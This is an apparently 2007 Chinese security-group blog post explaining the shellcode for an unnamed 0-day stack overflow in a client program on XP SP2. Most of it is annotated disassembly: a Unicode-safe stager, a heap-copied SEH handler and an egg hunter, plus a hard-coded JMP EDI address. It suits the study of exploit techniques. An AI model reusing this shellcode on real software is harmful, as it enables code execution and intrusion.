2007年5月24日星期四

[Tips]这个SheUcode比较有意思

Author: czy@ph4nt0m
Date: 2007-05-14
http://www.ph4nt0m.org







这个SheUcode比较有意思,某客户端程序0day,溢出发生时

EAX=00000000 EBX=00000000 ECX=00000006 EDX=7C92EB94 ESI=00000001
EDI=001362B0 ESP=001E0061 ESP=00136110 EIP=7FFA5564 o d I s Z a P c
CS=001B DS=0023 SS=0023 ES=0023 FS=003B GS=0000


看似比较简单的栈溢出,程序也没有/GS,但是字符串长度限制为100个字节(不能覆盖SEH),而且字符串会部分转化为UniCode格式,通过分析溢出发生时可以用转化后的字符串覆盖函数返回地址,同时EDI刚好指向转化后的字符串开头.在简中系统下代码页刚好有个JMP EDI(6455FA7F)而6455FA7F的ANSI编码为C6A1C24F.OK跳转地址搞定,来看看SHELLCODE怎么写了,由于这个漏洞非常特殊,字符串是部分转化,而且长度只有100个字节,所以只能想办法在这100个字节中用小SHELLCODE找大SHELLCODE了.经过测试发现XP SP2下,SEHLLCODE中的异常处理代码不能在栈中,所以还得想法把代码移到堆中.下面是我的办法:先看第四部分.

第一部分:

:00136193 5E pop esi ;因为是CALL跳过来的,POP后ESI变为001361BC,esp+4=0013610C
:00136194 5E pop esi ;esi变为001361D5也就是异常处理指令的地址
:00136195 55 push ebp ;通过分析漏洞,溢出发生时EBP的值为是跳转地址前面的四字节(UNICODE格式)
:00136196 5F pop edi ;EDI变为001E0061
:00136197 A5 movsd
:00136198 A5 movsd
:00136199 A5 movsd
:0013619A A5 movsd ;把ESI(001361D5)中的代码移到(edi)001e0061中
:0013619B 55 push ebp ;设置新的异常处理函数地址
:0013619C EB1E jmp ↓001361BC ;回到第二部分
:0013619E 61 popad
:0013619F 61 popad
:001361A0 61 popad
:001361A1 61 popad
:001361A2 61 popad
:001361A3 61 popad
:001361A4 61 popad
:001361A5 61 popad
:001361A6 61 popad
:001361A7 61 popad
:001361A8 61 popad
:001361A9 61 popad
:001361AA 1E push ds
:001361AB C6A1C24F 转化前的跳转地址(7FFA5564 JMP EDI)


第二部分:

:001361B0 6481EFDB000000 sub edi,000000DB ;edi为001362B0-db=001361d5,得到第三部分指令的地址
:001361B6 57 push edi ;esp-4=0013610C,edi=001361d5
:001361B7 E8D7FFFFFF call ↑00136193 ;esp-4=00136108,函数功能:把异常处理指令移到堆中
:001361BC 64FF30 push dword ptr fs:[eax] ;在跳过来之前新的异常处理地址已经压栈,现保存原来的
:001361BF 648920 mov dword ptr fs:[eax], esp ;esp也就是异常处理结构的地址比较巧妙
:001361C2 BA41424142 mov edx, 42414241 ;搜索ABAB
:001361C7 BF00001400 mov edi, 00140000 ;起始地址00140000
:001361CC 3B17 cmp edx, dword ptr [edi]
:001361CE 7403 je ↓001361D3
:001361D0 47 inc edi
:001361D1 EBF9 jmp ↑001361CC
:001361D3 57 push edi
:001361D4 C3 ret


第三部分:处理搜索内存异常的代码

:001361D5 8B54240C mov edx, dword ptr [esp+0C]
:001361D9 80C29C add dl, 9C
:001361DC 33C0 xor eax, eax
:001361DE B440 mov ah, 40
:001361E0 0102 add dword ptr [edx], eax
:001361E2 33C0 xor eax, eax
:001361E4 C3 ret


第四部分:程序首先从代码页中的JMP EDI跳到这儿.

:001362B0 57 push edi ;edi为001362B0,push以后ESP变为0013610C
:001362B1 004700 add [edi+00],al ;nop
:001362B4 44 inc esp ;esp变为0013610D
:001362B5 004700 add [edi+00],al ;nop
:001362B8 59 pop ecx ;ecx的值为XX001362,ESP变为00136111
:001362B9 004700 add [edi+00],al ;nop
:001362BC 49 dec ecx ;ecx变为XX001361
:001362BD 004700 add [edi+00],al ;nop
:001362C0 51 push ecx ;ESP变为0013610D
:001362C1 004700 add [edi+00],al ;nop
:001362C4 4C dec esp ;ESP变为0013610C
:001362C5 004700 add [edi+00],al ;nop
:001362C8 C3 ret ;ESP变为溢出发生时的00136110,程序跳001361B0


还没晕吧?纯粹指令技巧,主要是为了让代码是全字母且是UNICODE格式.其实这部分代码等于执行

sub edi,100h
jmp edi


这个漏洞非常奇怪,字符是部分转化,且EDI-100H处是没转化的字符,所以先用上面的这个办法跳到没转化的指令去执行.当然由于字符串长度的限制也没法直接写UNICODE编码的SHELLCODE.
下面请看第二部分的代码.